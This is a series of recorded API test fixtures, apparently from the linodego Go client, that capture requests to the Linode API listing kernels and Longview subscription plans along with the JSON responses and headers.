Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: body: '{"data": [{"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-x86_64-linode6", "label": "2.6.29-x86_64-linode6", "version": "2.6.29", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-x86_64-linode5", "label": "2.6.28.3-x86_64-linode5", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-x86_64-linode4", "label": "2.6.28-x86_64-linode4", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-x86_64-linode3", "label": "2.6.27.4-x86_64-linode3", "version": "2.6.27", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.16.38-x86_64-linode2", "label": "2.6.16.38-x86_64-linode2", "version": "2.6.16", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode1", "label": "2.6.18.8-x86_64-linode1", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-x86_64-linode26", "label": "3.5.2-x86_64-linode26", "version": "3.5.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub2", "label": "GRUB 2", "version": "2.06", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/direct-disk", "label": "Direct Disk", "version": "", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub-legacy", "label": "GRUB (Legacy)", "version": "2.0.0", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_32", "label": "pv-grub-x86_32", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListKernels_filtered.yaml000066400000000000000000000033521455402072200330730ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"label":"5.17.5-x86_64-linode154"}' url: https://api.linode.com/v4beta/linode/kernels method: GET response: body: '{"data": [{"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "253" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListKernels_page1.yaml000066400000000000000000000546751455402072200323100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=1 method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": "5.18.2-x86-linode175", "version": "5.18.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86-linode174", "label": "5.17.5-x86-linode174", "version": "5.17.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86-linode173", "label": "5.16.13-x86-linode173", "version": "5.16.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86_64-linode153", "label": "5.16.13-x86_64-linode153", "version": "5.16.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86_64-linode152", "label": "5.16.3-x86_64-linode152", "version": "5.16.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86-linode172", "label": "5.16.3-x86-linode172", "version": "5.16.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86_64-linode151", "label": "5.15.10-x86_64-linode151", "version": "5.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86-linode171", "label": "5.15.10-x86-linode171", "version": "5.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86_64-linode150", "label": "5.14.17-x86_64-linode150", "version": "5.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86-linode170", "label": "5.14.17-x86-linode170", "version": "5.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86_64-linode149", "label": "5.14.15-x86_64-linode149", "version": "5.14.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86-linode169", "label": "5.14.15-x86-linode169", "version": "5.14.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86_64-linode148", "label": "5.14.14-x86_64-linode148", "version": "5.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86-linode168", "label": "5.14.14-x86-linode168", "version": "5.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86_64-linode147", "label": "5.14.2-x86_64-linode147", "version": "5.14.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86-linode167", "label": "5.14.2-x86-linode167", "version": "5.14.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86_64-linode146", "label": "5.13.4-x86_64-linode146", "version": "5.13.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86-linode166", "label": "5.13.4-x86-linode166", "version": "5.13.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86_64-linode145", "label": "5.12.13-x86_64-linode145", "version": "5.12.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86-linode165", "label": "5.12.13-x86-linode165", "version": "5.12.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86_64-linode144", "label": "5.12.2-x86_64-linode144", "version": "5.12.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86-linode164", "label": "5.12.2-x86-linode164", "version": "5.12.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86_64-linode143", "label": "5.11.13-x86_64-linode143", "version": "5.11.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86-linode163", "label": "5.11.13-x86-linode163", "version": "5.11.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86_64-linode142", "label": "5.11.9-x86_64-linode142", "version": "5.11.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86-linode162", "label": "5.11.9-x86-linode162", "version": "5.11.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86_64-linode141", "label": "5.10.13-x86_64-linode141", "version": "5.10.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86-linode161", "label": "5.10.13-x86-linode161", "version": "5.10.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86_64-linode140", "label": "5.10.2-x86_64-linode140", "version": "5.10.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86-linode160", "label": "5.10.2-x86-linode160", "version": "5.10.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86_64-linode139", "label": "5.9.6-x86_64-linode139", "version": "5.9.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86-linode159", "label": "5.9.6-x86-linode159", "version": "5.9.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86-linode158", "label": "5.8.10-x86-linode158", "version": "5.8.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86_64-linode138", "label": "5.8.10-x86_64-linode138", "version": "5.8.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86_64-linode137", "label": "5.8.3-x86_64-linode137", "version": "5.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86-linode157", "label": "5.8.3-x86-linode157", "version": "5.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86-linode156", "label": "5.7.6-x86-linode156", "version": "5.7.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86-linode155", "label": "5.6.14-x86-linode155", "version": "5.6.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86-linode154", "label": "5.6.1-x86-linode154", "version": "5.6.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86-linode152", "label": "5.4.10-x86-linode152", "version": "5.4.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86-linode151", "label": "5.3.11-x86-linode151", "version": "5.3.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86-linode150", "label": "5.3.7-x86-linode150", "version": "5.3.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86-linode149", "label": "5.2.9-x86-linode149", "version": "5.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86-linode148", "label": "5.1.17-x86-linode148", "version": "5.1.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86-linode147", "label": "5.1.11-x86-linode147", "version": "5.1.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86-linode146", "label": "5.1.5-x86-linode146", "version": "5.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86-linode145", "label": "4.14.120-x86-linode145", "version": "4.14.120", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86-linode144", "label": "5.1.2-x86-linode144", "version": "5.1.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86-linode143", "label": "5.0.8-x86-linode143", "version": "5.0.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86-linode141", "label": "4.20.4-x86-linode141", "version": "4.20.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86-linode140", "label": "4.19.8-x86-linode140", "version": "4.19.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86-linode139", "label": "4.19.5-x86-linode139", "version": "4.19.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86-linode138", "label": "4.18.16-x86-linode138", "version": "4.18.16", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode137", "label": "4.18.8-x86-linode137", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode136", "label": "4.18.8-x86-linode136", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86-linode135", "label": "4.17.17-x86-linode135", "version": "4.17.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86-linode134", "label": "4.17.15-x86-linode134", "version": "4.17.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode133", "label": "4.17.14-x86-linode133", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode132", "label": "4.17.14-x86-linode132", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86-linode131", "label": "4.17.12-x86-linode131", "version": "4.17.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86-linode130", "label": "4.17.11-x86-linode130", "version": "4.17.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86-linode129", "label": "4.17.8-x86-linode129", "version": "4.17.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86-linode128", "label": "4.17.2-x86-linode128", "version": "4.17.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86-linode127", "label": "4.16.11-x86-linode127", "version": "4.16.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86-linode126", "label": "4.15.18-x86-linode126", "version": "4.15.18", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86-linode125", "label": "4.15.13-x86-linode125", "version": "4.15.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86-linode124", "label": "4.15.12-x86-linode124", "version": "4.15.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86-linode123", "label": "4.15.10-x86-linode123", "version": "4.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86-linode122", "label": "4.15.8-x86-linode122", "version": "4.15.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86-linode121", "label": "4.15.7-x86-linode121", "version": "4.15.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86-linode119", "label": "4.14.19-x86-linode119", "version": "4.14.19", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86-linode118", "label": "4.14.17-x86-linode118", "version": "4.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86-linode117", "label": "4.9.80-x86-linode117", "version": "4.9.80", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86-linode116", "label": "4.4.115-x86-linode116", "version": "4.4.115", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86-linode115", "label": "4.4.113-x86-linode115", "version": "4.4.113", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" ExampleListLongviewSubscriptions_page1.yaml000066400000000000000000000040241455402072200351670ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/subscriptions?page=1 method: GET response: body: '{"data": [{"id": "longview-3", "label": "Longview Pro 3 pack", "price": {"hourly": 0.03, "monthly": 20.0}, "clients_included": 3}, {"id": "longview-10", "label": "Longview Pro 10 pack", "price": {"hourly": 0.06, "monthly": 40.0}, "clients_included": 10}, {"id": "longview-40", "label": "Longview Pro 40 pack", "price": {"hourly": 0.15, "monthly": 100.0}, "clients_included": 40}, {"id": "longview-100", "label": "Longview Pro 100 pack", "price": {"hourly": 0.3, "monthly": 200.0}, "clients_included": 100}], "page": 1, "pages": 1, "results": 4}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, 